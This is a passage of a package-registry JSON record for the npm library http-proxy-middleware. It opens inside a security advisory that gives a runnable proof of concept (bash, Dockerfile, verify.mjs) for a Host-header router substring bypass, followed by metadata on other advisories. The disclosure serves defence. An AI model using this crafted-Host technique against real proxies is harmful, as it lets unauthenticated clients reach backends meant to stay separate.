\"${SCRIPT_DIR}/.tmp-repro.XXXXXX\")\"\nTARGET_REPO_DIR=\"${WORKDIR}/repo\"\nREPRO_DIR=\"${WORKDIR}/reproduction\"\nIMAGE_TAG=\"http-proxy-middleware-router-bypass-poc\"\n\ncleanup() {\n  rm -rf \"${WORKDIR}\"\n}\ntrap cleanup EXIT\n\necho \"[a3] cloning target repository\"\ngit clone --quiet \"${REPO_URL}\" \"${TARGET_REPO_DIR}\"\ngit -C \"${TARGET_REPO_DIR}\" checkout --quiet \"${REPO_REF}\"\n\nmkdir -p \"${REPRO_DIR}\"\ncp \"${SCRIPT_DIR}/Dockerfile\" \"${WORKDIR}/Dockerfile\"\ncp \"${SCRIPT_DIR}/verify.mjs\" \"${REPRO_DIR}/verify.mjs\"\n\necho \"[a3] building reproduction image\"\ndocker build -f \"${WORKDIR}/Dockerfile\" -t \"${IMAGE_TAG}\" \"${WORKDIR}\"\n\necho \"[a3] running verification\"\ndocker run --rm \"${IMAGE_TAG}\" node /work/reproduction/verify.mjs\n```\n\n### File: `Dockerfile`\n\n```Dockerfile\nFROM node:22-bullseye\n\nWORKDIR /work\n\nCOPY repo/package.json repo/yarn.lock /work/repo/\n\nRUN corepack enable \\\n  \u0026\u0026 cd /work/repo \\\n  \u0026\u0026 yarn install --frozen-lockfile\n\nCOPY repo /work/repo\nRUN cd /work/repo \u0026\u0026 yarn build\n\nCOPY reproduction /work/reproduction\n```\n\n### File: `verify.mjs`\n\n```js\nimport http from 'node:http';\nimport fs from 'node:fs';\nimport assert from 'node:assert/strict';\n\nimport { createProxyMiddleware } from '/work/repo/dist/index.js';\n\nconst ROUTER_KEY = 'localhost:3000/api';\nconst CRAFTED_HOST = 'evillocalhost:3000';\n\nfunction listen(server, port) {\n  return new Promise((resolve) =\u003e {\n    server.listen(port, '127.0.0.1', () =\u003e resolve());\n  });\n}\n\nfunction close(server) {\n  return new Promise((resolve, reject) =\u003e {\n    server.close((err) =\u003e {\n      if (err) {\n        reject(err);\n        return;\n      }\n      resolve();\n    });\n  });\n}\n\nfunction request(path, host) {\n  return new Promise((resolve, reject) =\u003e {\n    const req = http.request(\n      {\n        host: '127.0.0.1',\n        port: 3000,\n        path,\n        method: 'GET',\n        headers: {\n          Host: host,\n        },\n      },\n      (res) =\u003e {\n        let data = '';\n        res.setEncoding('utf8');\n        res.on('data', (chunk) =\u003e {\n          data += chunk;\n        });\n        res.on('end', () =\u003e {\n          resolve({ statusCode: res.statusCode, body: data });\n        });\n      },\n    );\n    req.on('error', reject);\n    req.end();\n  });\n}\n\nconst defaultBackend = http.createServer((req, res) =\u003e {\n  res.end('DEFAULT');\n});\n\nconst secretBackend = http.createServer((req, res) =\u003e {\n  res.end('SECRET');\n});\n\nconst proxyMiddleware = createProxyMiddleware({\n  target: 'http://127.0.0.1:3101',\n  router: {\n    [ROUTER_KEY]: 'http://127.0.0.1:3102',\n  },\n});\n\nconst proxyServer = http.createServer((req, res) =\u003e {\n  proxyMiddleware(req, res, () =\u003e {\n    res.statusCode = 404;\n    res.end('NO_PROXY');\n  });\n});\n\ntry {\n  assert.ok(fs.existsSync('/work/repo/dist/index.js'));\n  assert.ok(fs.existsSync('/work/reproduction/verify.mjs'));\n\n  await listen(defaultBackend, 3101);\n  await listen(secretBackend, 3102);\n  await listen(proxyServer, 3000);\n  console.log('STEP start-services ok');\n\n  const baseline = await request('/api', 'safe.example:3000');\n  assert.equal(baseline.statusCode, 200);\n  assert.equal(baseline.body, 'DEFAULT');\n  console.log(`STEP baseline-route body=${baseline.body}`);\n\n  const crafted = await request('/api', CRAFTED_HOST);\n  assert.equal(crafted.statusCode, 200);\n  assert.equal(crafted.body, 'SECRET');\n  assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]);\n  console.log(`STEP crafted-route body=${crafted.body}`);\n\n  console.log('RESULT reproduced host_header_injection router substring match bypass');\n} finally {\n  await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]);\n}\n```\n\nThis PoC starts:\n\n- one default backend returning `DEFAULT`\n- one alternate backend returning `SECRET`\n- one proxy using:\n\n```js\ncreateProxyMiddleware({\n  target: 'http://127.0.0.1:3101',\n  router: {\n    [ROUTER_KEY]: 'http://127.0.0.1:3102',\n  },\n});\n```\n\nIt then sends:\n\n1. a baseline request to `/api` with `Host: safe.example:3000`\n2. a crafted request to `/api` with `Host: evillocalhost:3000`\n\nObserved result from the validated PoC:\n\n- baseline request: `STEP baseline-route body=DEFAULT`\n- crafted request: `STEP crafted-route body=SECRET`\n- success marker: `RESULT reproduced host_header_injection router substring match bypass`\n\nThe PoC is considered successful only if:\n\n1. the baseline request stays on the default backend\n2. the crafted request reaches the alternate backend\n3. the crafted host is not equal to the configured router host\n\n# Impact\n\nThis is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted `Host` header.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-18T13:06:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-64mm-vxmg-q3vj","https://github.com/advisories/GHSA-64mm-vxmg-q3vj"],"source_kind":"github","identifiers":["GHSA-64mm-vxmg-q3vj","CVE-2026-55602"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-18T14:00:08.787Z","updated_at":"2026-10-18T10:07:15.289Z","epss_percentage":0.00378,"epss_percentile":0.29519,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NG1tLXZ4bWctcTN2as4ABZE1","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02NG1tLXZ4bWctcTN2as4ABZE1","packages":[{"ecosystem":"npm","package_name":"http-proxy-middleware","versions":[{"first_patched_version":"2.0.10","vulnerable_version_range":"\u003e= 0.16.0, \u003c 2.0.10"},{"first_patched_version":"3.0.6","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.0.6"},{"first_patched_version":"4.1.0","vulnerable_version_range":"\u003e= 4.0.0, \u003c 4.1.0"}],"purl":"pkg:npm/http-proxy-middleware","statistics":{"dependent_packages_count":8072,"dependent_repos_count":2978280,"downloads":118498797,"downloads_period":"last-month"},"affected_versions":["0.16.0","0.17.0","0.17.0-beta","0.17.1","0.17.2","0.17.2-beta","0.17.3","0.17.4","0.18.0","0.19.0","0.19.1","0.19.2","0.20.0","0.20.0-beta.0","0.20.0-beta.1","0.20.0-beta.2","0.21.0","0.21.0-beta.1","0.21.0-beta.2","0.21.0-beta.3","0.22.0-alpha","1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.1.0","1.1.1","1.1.1-alpha.1","1.1.2","1.1.2-alpha.0","1.1.2-alpha.1","1.2.0","1.2.0-beta.1","1.2.0-beta.2","1.2.1","1.2.1-alpha.1","1.3.0","1.3.1","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.7-beta.0","2.0.7-beta.1","2.0.8","2.0.9","2.0.10-beta.0","3.0.0","3.0.1","3.0.1-beta.0","3.0.1-beta.1","3.0.2","3.0.3","3.0.4","3.0.5","4.0.0","4.1.0-beta.1","4.1.0-beta.2"],"unaffected_versions":["0.0.1","0.0.2","0.0.3","0.0.4","0.0.5","0.1.0","0.2.0","0.3.0","0.3.1","0.3.2","0.4.0","0.5.0","0.6.0","0.7.0","0.8.0","0.8.1","0.8.2","0.9.0","0.9.1","0.10.0","0.11.0","0.12.0","0.13.0","0.14.0","0.15.0","0.15.1","0.15.2","2.0.10","3.0.6","3.0.7","4.1.0","4.1.1","4.2.0"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NG1tLXZ4bWctcTN2as4ABZE1/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05Z3F2LXdwNTktZnE0Ms4ABGxU","url":"https://github.com/advisories/GHSA-9gqv-wp59-fq42","title":"http-proxy-middleware allows fixRequestBody to proceed even if bodyParser has failed","description":"In http-proxy-middleware before 2.0.9 and 3.x before 3.0.5, fixRequestBody proceeds even if bodyParser has failed.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-04-15T03:30:34.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.0,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-32997","https://github.com/chimurai/http-proxy-middleware/pull/1096","https://github.com/chimurai/http-proxy-middleware/commit/1bdccbeec243850f1d2bb50ea0ff2151e725d67e","https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.9","https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.5","https://github.com/advisories/GHSA-9gqv-wp59-fq42"],"source_kind":"github","identifiers":["GHSA-9gqv-wp59-fq42","CVE-2025-32997"],"repository_url":"https://github.com/chimurai/http-proxy-middleware","blast_radius":0.0,"created_at":"2025-04-16T16:09:26.202Z","updated_at":"2026-10-18T10:16:15.215Z","epss_percentage":0.00472,"epss_percentile":0.39381,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05Z3F2LXdwNTktZnE0Ms4ABGxU","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05Z3F2LXdwNTktZnE0Ms4ABGxU","packages":[{"ecosystem":"npm","package_name":"http-proxy-middleware","versions":[{"first_patched_version":"2.0.9","vulnerable_version_range":"\u003e= 1.3.0, \u003c 2.0.9"},{"first_patched_version":"3.0.5","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.0.5"}],"purl":"pkg:npm/http-proxy-middleware","statistics":{"dependent_packages_count":8072,"dependent_repos_count":2978280,"downloads":118498797,"downloads_period":"last-month"},"affected_versions":["1.3.0","1.3.1","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.7-beta.0","2.0.7-beta.1","2.0.8","3.0.0","3.0.1","3.0.1-beta.0","3.0.1-beta.1","3.0.2","3.0.3","3.0.4"],"unaffected_versions":["0.0.1","0.0.2","0.0.3","0.0.4","0.0.5","0.1.0","0.2.0","0.3.0","0.3.1","0.3.2","0.4.0","0.5.0","0.6.0","0.7.0","0.8.0","0.8.1","0.8.2","0.9.0","0.9.1","0.10.0","0.11.0","0.12.0","0.13.0","0.14.0","0.15.0","0.15.1","0.15.2","0.16.0","0.17.0","0.17.1","0.17.2","0.17.3","0.17.4","0.18.0","0.19.0","0.19.1","0.19.2","0.20.0","0.21.0","1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.1.0","1.1.1","1.1.2","1.2.0","1.2.1","2.0.9","2.0.10","3.0.5","3.0.6","3.0.7","4.0.0","4.1.0","4.1.1","4.2.0"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05Z3F2LXdwNTktZnE0Ms4ABGxU/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00d3d3LTVwOWgtOTVtaM4ABGxX","url":"https://github.com/advisories/GHSA-4www-5p9h-95mh","title":"http-proxy-middleware can call writeBody twice because \"else if\" is not used","description":"In http-proxy-middleware before 2.0.8 and 3.x before 3.0.4, writeBody can be called twice because \"else if\" is not used.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-04-15T03:30:34.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.0,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:L","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-32996","https://github.com/chimurai/http-proxy-middleware/pull/1089","https://github.com/chimurai/http-proxy-middleware/commit/020976044d113fc0bcbbaf995e91d05e2829a145","https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.8","https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.4","https://github.com/advisories/GHSA-4www-5p9h-95mh"],"source_kind":"github","identifiers":["GHSA-4www-5p9h-95mh","CVE-2025-32996"],"repository_url":"https://github.com/chimurai/http-proxy-middleware","blast_radius":0.0,"created_at":"2025-04-16T16:09:26.510Z","updated_at":"2026-10-18T10:16:15.216Z","epss_percentage":0.00466,"epss_percentile":0.38858,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00d3d3LTVwOWgtOTVtaM4ABGxX","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00d3d3LTVwOWgtOTVtaM4ABGxX","packages":[{"ecosystem":"npm","package_name":"http-proxy-middleware","versions":[{"first_patched_version":"2.0.8","vulnerable_version_range":"\u003e= 1.3.0, \u003c 2.0.8"},{"first_patched_version":"3.0.4","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.0.4"}],"purl":"pkg:npm/http-proxy-middleware","statistics":{"dependent_packages_count":8072,"dependent_repos_count":2978280,"downloads":118498797,"downloads_period":"last-month"},"affected_versions":["1.3.0","1.3.1","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.7-beta.0","2.0.7-beta.1","3.0.0","3.0.1","3.0.1-beta.0","3.0.1-beta.1","3.0.2","3.0.3"],"unaffected_versions":["0.0.1","0.0.2","0.0.3","0.0.4","0.0.5","0.1.0","0.2.0","0.3.0","0.3.1","0.3.2","0.4.0","0.5.0","0.6.0","0.7.0","0.8.0","0.8.1","0.8.2","0.9.0","0.9.1","0.10.0","0.11.0","0.12.0","0.13.0","0.14.0","0.15.0","0.15.1","0.15.2","0.16.0","0.17.0","0.17.1","0.17.2","0.17.3","0.17.4","0.18.0","0.19.0","0.19.1","0.19.2","0.20.0","0.21.0","1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.1.0","1.1.1","1.1.2","1.2.0","1.2.1","2.0.8","2.0.9","2.0.10","3.0.4","3.0.5","3.0.6","3.0.7","4.0.0","4.1.0","4.1.1","4.2.0"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00d3d3LTVwOWgtOTVtaM4ABGxX/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jN3F2LXE5NXEtOHYyN84ABAbv","url":"https://github.com/advisories/GHSA-c7qv-q95q-8v27","title":"Denial of service in http-proxy-middleware","description":"Versions of the package http-proxy-middleware before 2.0.7, from 3.0.0 and before 3.0.3 are vulnerable to Denial of Service (DoS) due to an UnhandledPromiseRejection error thrown by micromatch. An attacker could kill the Node.js process and crash the server by making requests to certain paths.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-10-19T06:30:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-21536","https://github.com/chimurai/http-proxy-middleware/commit/0b4274e8cc9e9a2c5a06f35fbf456ccfcebc55a5","https://github.com/chimurai/http-proxy-middleware/commit/788b21e4aff38332d6319557d4a5b1b13b1f9a22","https://gist.github.com/mhassan1/28be67266d82a53708ed59ce5dc3c94a","https://security.snyk.io/vuln/SNYK-JS-HTTPPROXYMIDDLEWARE-8229906","https://github.com/advisories/GHSA-c7qv-q95q-8v27"],"source_kind":"github","identifiers":["GHSA-c7qv-q95q-8v27","CVE-2024-21536"],"repository_url":"https://github.com/chimurai/http-proxy-middleware","blast_radius":0.0,"created_at":"2024-10-22T20:06:56.876Z","updated_at":"2026-10-12T12:12:42.230Z","epss_percentage":0.01034,"epss_percentile":0.62509,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jN3F2LXE5NXEtOHYyN84ABAbv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jN3F2LXE5NXEtOHYyN84ABAbv","packages":[{"ecosystem":"npm","package_name":"http-proxy-middleware","versions":[{"first_patched_version":"3.0.3","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.0.3"},{"first_patched_version":"2.0.7","vulnerable_version_range":"\u003c 2.0.7"}],"purl":"pkg:npm/http-proxy-middleware"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jN3F2LXE5NXEtOHYyN84ABAbv/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/http-proxy-middleware","docker_dependents_count":11786,"docker_downloads_count":3248907650,"usage_url":"https://repos.ecosyste.ms/usage/npm/http-proxy-middleware","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/http-proxy-middleware/dependencies","status":null,"funding_links":[],"critical":true,"issue_metadata":{"last_synced_at":"2026-10-17T14:31:38.857Z","issues_count":166,"pull_requests_count":338,"avg_time_to_close_issue":67452603.56481482,"avg_time_to_close_pull_request":4962600.453333333,"issues_closed_count":108,"pull_requests_closed_count":300,"pull_request_authors_count":52,"issue_authors_count":158,"avg_comments_per_issue":4.72289156626506,"avg_comments_per_pull_request":1.6627218934911243,"merged_pull_requests_count":247,"bot_issues_count":0,"bot_pull_requests_count":16,"past_year_issues_count":11,"past_year_pull_requests_count":70,"past_year_avg_time_to_close_issue":3284797.4,"past_year_avg_time_to_close_pull_request":119083.13846153846,"past_year_issues_closed_count":5,"past_year_pull_requests_closed_count":65,"past_year_pull_request_authors_count":12,"past_year_issue_authors_count":10,"past_year_avg_comments_per_issue":2.3636363636363638,"past_year_avg_comments_per_pull_request":2.9571428571428573,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":59,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/issues","maintainers":[{"login":"chimurai","count":249,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}],"active_maintainers":[{"login":"chimurai","count":60,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/http-proxy-middleware/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/http-proxy-middleware/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/http-proxy-middleware/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/http-proxy-middleware/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/http-proxy-middleware/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/http-proxy-middleware/codemeta","maintainers":[{"uuid":"chimurai","login":"chimurai","name":null,"email":"stevenchim@gmail.com","url":null,"packages_count":4,"html_url":"https://www.npmjs.com/~chimurai","role":null,"created_at":"2022-11-10T11:28:22.633Z","updated_at":"2022-11-10T11:28:22.633Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/chimurai/packages"}]}